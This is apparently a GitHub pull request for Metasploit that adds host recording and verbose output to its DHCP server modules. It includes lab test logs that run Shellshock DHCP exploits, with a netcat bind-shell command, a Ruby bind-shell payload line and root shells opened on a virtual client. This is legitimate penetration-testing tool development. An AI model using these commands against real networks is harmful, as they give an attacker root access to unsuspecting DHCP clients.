Skip to content

Make DHCP use report_host() and add verbose option#21125

Open
g0tmi1k wants to merge 6 commits intorapid7:masterfrom
g0tmi1k:verbose_dhcp
Open

Make DHCP use report_host() and add verbose option#21125
g0tmi1k wants to merge 6 commits intorapid7:masterfrom
g0tmi1k:verbose_dhcp

Conversation

@g0tmi1k
Copy link
Contributor

@g0tmi1k g0tmi1k commented Mar 16, 2026

Related Issue: #21121

The idea is to see when a client is trying to connect, and then its been given an IP.
When we give out an IP address, record the host!

$ msfconsole -q -x 'use auxiliary/server/dhcp;
set dhcpipstart 10.0.0.20;
set dhcpipend 10.0.0.25;
set netmask 255.255.255.0;
set broadcast 10.0.0.255;
set router 10.0.0.1;
set dnsserver 10.0.0.1;
set srvhost 10.0.0.1;
set DHCPINTERFACE tap0;
set verbose true; 
workspace -D;
run'
dhcpipstart => 10.0.0.20
dhcpipend => 10.0.0.25
netmask => 255.255.255.0
broadcast => 10.0.0.255
router => 10.0.0.1
dnsserver => 10.0.0.1
srvhost => 10.0.0.1
DHCPINTERFACE => tap0
verbose => true
[*] Deleted workspace: default
[*] Recreated the default workspace
[*] Auxiliary module running as background job 0.
msf auxiliary(server/dhcp) >
[*] Starting DHCP server...
msf auxiliary(server/dhcp) >
msf auxiliary(server/dhcp) >
msf auxiliary(server/dhcp) >
[*] DHCPDISCOVER from 52:54:00:12:34:56
[+] DHCPREQUEST 52:54:00:12:34:56 -> 10.0.0.21

msf auxiliary(server/dhcp) > hosts

Hosts
=====

address    mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------    ---                ----  -------  ---------  -----  -------  ----  --------
10.0.0.21  52:54:00:12:34:56                                                  Added from DHCP: auxiliary/server/dhcp

msf auxiliary(server/dhcp) >

@g0tmi1k g0tmi1k force-pushed the verbose_dhcp branch 2 times, most recently from 98bdd55 to 5f17958 Compare March 16, 2026 17:12
@g0tmi1k
Copy link
Contributor Author

g0tmi1k commented Mar 18, 2026

auxiliary/server/dhcp

$ ./msfconsole -q -x 'db_connect -y /usr/share/metasploit-framework/config/database.yml; db_status;
workspace -D; set VERBOSE true; setg LHOST tap0;
use auxiliary/server/dhcp;
set SRVHOST 10.0.0.1;
set NETMASK 255.255.255.0;
set DHCPIPSTART 10.0.0.2;
set DHCPIPEND 10.0.0.20;
set DHCPINTERFACE tap0;
options; run'
[*] Connected to the database specified in the YAML file
[*] Connected to msf. Connection type: postgresql. Connection name: dJPQXstN.
[*] Deleted workspace: default
[*] Recreated the default workspace
VERBOSE => true
LHOST => tap0
SRVHOST => 10.0.0.1
NETMASK => 255.255.255.0
DHCPIPSTART => 10.0.0.2
DHCPIPEND => 10.0.0.20
DHCPINTERFACE => tap0

Module options (auxiliary/server/dhcp):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   BROADCAST                       no        The broadcast address to send to
   DHCPINTERFACE  tap0             no        The network interface to use for broadcast
   DHCPIPEND      10.0.0.20        no        The last IP to give out
   DHCPIPSTART    10.0.0.2         no        The first IP to give out
   DNSSERVER                       no        The DNS server IP address
   DOMAINNAME                      no        The optional domain name to assign
   FILENAME                        no        The optional filename of a tftp boot server
   HOSTNAME                        no        The optional hostname to assign
   HOSTSTART                       no        The optional host integer counter
   NETMASK        255.255.255.0    yes       The netmask of the local subnet
   ROUTER                          no        The router IP address
   SRVHOST        10.0.0.1         yes       The IP of the DHCP server


Auxiliary action:

   Name     Description
   ----     -----------
   Service  Run DHCP server



View the full module info with the info, or info -d command.

[*] Auxiliary module running as background job 0.
[*] Starting DHCP server
msf auxiliary(server/dhcp) >
[*] DHCPDISCOVER from 52:54:00:12:34:56
[+] DHCPREQUEST 52:54:00:12:34:56 -> 10.0.0.3

msf auxiliary(server/dhcp) > workspace -v

Workspaces
==========

current  name     hosts  services  vulns  creds  loots  notes
-------  ----     -----  --------  -----  -----  -----  -----
*        default  1      0         0      0      0      0

msf auxiliary(server/dhcp) >
[+] DHCPREQUEST 52:54:00:12:34:56 -> 10.0.0.3

msf auxiliary(server/dhcp) >
msf auxiliary(server/dhcp) >
msf auxiliary(server/dhcp) > hosts -v

Hosts
=====

address   mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------   ---                ----  -------  ---------  -----  -------  ----  --------
10.0.0.3  52:54:00:12:34:56                                                  Discovered via DHCP

msf auxiliary(server/dhcp) >

auxiliary/server/dhclient_bash_env

$ ./msfconsole -q -x 'db_connect -y /usr/share/metasploit-framework/config/database.yml; db_status; 
workspace -D; set VERBOSE true; setg LHOST tap0; 
use auxiliary/server/dhclient_bash_env; 
set CMD /bin/nc -l -p4444 -e /bin/sh &; 
set SRVHOST 10.0.0.1;
set NETMASK 255.255.255.0;
set DHCPIPSTART 10.0.0.2;
set DHCPIPEND 10.0.0.20;
set DHCPINTERFACE tap0;
options; run'
[*] Connected to the database specified in the YAML file
[*] Connected to msf. Connection type: postgresql. Connection name: dJPQXstN.
[*] Deleted workspace: default
[*] Recreated the default workspace
VERBOSE => true
LHOST => tap0
CMD => /bin/nc -l -p4444 -e /bin/sh &
SRVHOST => 10.0.0.1
NETMASK => 255.255.255.0
DHCPIPSTART => 10.0.0.2
DHCPIPEND => 10.0.0.20
DHCPINTERFACE => tap0

Module options (auxiliary/server/dhclient_bash_env):

   Name           Current Setting                 Required  Description
   ----           ---------------                 --------  -----------
   BROADCAST                                      no        The broadcast address to send to
   CMD            /bin/nc -l -p4444 -e /bin/sh &  yes       The command to run
   DHCPINTERFACE  tap0                            no        The network interface to use for broadcast
   DHCPIPEND      10.0.0.20                       no        The last IP to give out
   DHCPIPSTART    10.0.0.2                        no        The first IP to give out
   DNSSERVER                                      no        The DNS server IP address
   FILENAME                                       no        The optional filename of a tftp boot server
   HOSTSTART                                      no        The optional host integer counter
   NETMASK        255.255.255.0                   yes       The netmask of the local subnet
   ROUTER                                         no        The router IP address
   SRVHOST        10.0.0.1                        yes       The IP of the DHCP server


Auxiliary action:

   Name     Description
   ----     -----------
   Service  Run Shellshock DHCP server



View the full module info with the info, or info -d command.

[*] Auxiliary module running as background job 0.
[*] Starting DHCP server
msf auxiliary(server/dhclient_bash_env) >
msf auxiliary(server/dhclient_bash_env) >
msf auxiliary(server/dhclient_bash_env) >
msf auxiliary(server/dhclient_bash_env) >
[*] DHCPDISCOVER from 52:54:00:12:34:56
[+] DHCPREQUEST 52:54:00:12:34:56 -> 10.0.0.3

msf auxiliary(server/dhclient_bash_env) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
msf exploit(multi/handler) > set RHOST 10.0.0.3
RHOST => 10.0.0.3
msf exploit(multi/handler) > run
[+] DHCPREQUEST 52:54:00:12:34:56 -> 10.0.0.3
[*] Started bind TCP handler against 10.0.0.3:4444
[*] Command shell session 1 opened (10.0.0.1:34169 -> 10.0.0.3:4444) at 2026-03-18 11:00:23 +0000

id
uid=0(root) gid=102(dhcp) groups=0(root)

exploit/unix/dhcp/bash_environment

$ ./msfconsole -q -x 'db_connect -y /usr/share/metasploit-framework/config/database.yml; db_status;
workspace -D; set VERBOSE true; setg LHOST tap0;
use exploit/unix/dhcp/bash_environment;
set SRVHOST 10.0.0.1;
set NETMASK 255.255.255.0;
set DHCPIPSTART 10.0.0.2;
set DHCPIPEND 10.0.0.20;
set DHCPINTERFACE tap0;
set payload payload/cmd/unix/bind_ruby; set RHOST 10.0.0.1;
options; run'
[*] Connected to the database specified in the YAML file
[*] Connected to msf. Connection type: postgresql. Connection name: dJPQXstN.
[*] Deleted workspace: default
[*] Recreated the default workspace
VERBOSE => true
LHOST => tap0
SRVHOST => 10.0.0.1
NETMASK => 255.255.255.0
DHCPIPSTART => 10.0.0.2
DHCPIPEND => 10.0.0.20
DHCPINTERFACE => tap0
payload => cmd/unix/bind_ruby
RHOST => 10.0.0.1

Module options (exploit/unix/dhcp/bash_environment):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   BROADCAST                       no        The broadcast address to send to
   DHCPINTERFACE  tap0             no        The network interface to use for broadcast
   DHCPIPEND      10.0.0.20        no        The last IP to give out
   DHCPIPSTART    10.0.0.2         no        The first IP to give out
   DNSSERVER                       no        The DNS server IP address
   FILENAME                        no        The optional filename of a tftp boot server
   HOSTSTART                       no        The optional host integer counter
   NETMASK        255.255.255.0    yes       The netmask of the local subnet
   ROUTER                          no        The router IP address
   SRVHOST        10.0.0.1         yes       The IP of the DHCP server


Payload options (cmd/unix/bind_ruby):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  10.0.0.1         no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

[+] ruby -rsocket -e 'exit if fork;s=TCPServer.new("4444");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end;end'
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Launching exploit. This may take up to 60 seconds.
[!] This module adds a job to /etc/crontab which may require manual removal!
[*] Starting DHCP server
msf exploit(unix/dhcp/bash_environment) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
msf exploit(multi/handler) >
[*] DHCPDISCOVER from 52:54:00:12:34:56
[+] DHCPREQUEST 52:54:00:12:34:56 -> 10.0.0.3

msf exploit(multi/handler) > set RHOST 10.0.0.3
RHOST => 10.0.0.3
msf exploit(multi/handler) > run
[*] Started bind TCP handler against 10.0.0.3:4444
[*] Command shell session 1 opened (10.0.0.1:44873 -> 10.0.0.3:4444) at 2026-03-18 11:03:13 +0000

id
uid=0(root) gid=102(dhcp) groups=0(root)
^Z
Background session 1? [y/N]  y
msf exploit(multi/handler) > workspace -v

Workspaces
==========

current  name     hosts  services  vulns  creds  loots  notes
-------  ----     -----  --------  -----  -----  -----  -----
*        default  1      0         1      0      0      0

msf exploit(multi/handler) > hosts -v

Hosts
=====

address   mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------   ---                ----  -------  ---------  -----  -------  ----  --------
10.0.0.3  52:54:00:12:34:56                                                  Discovered via DHCP

msf exploit(multi/handler) >

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

2 participants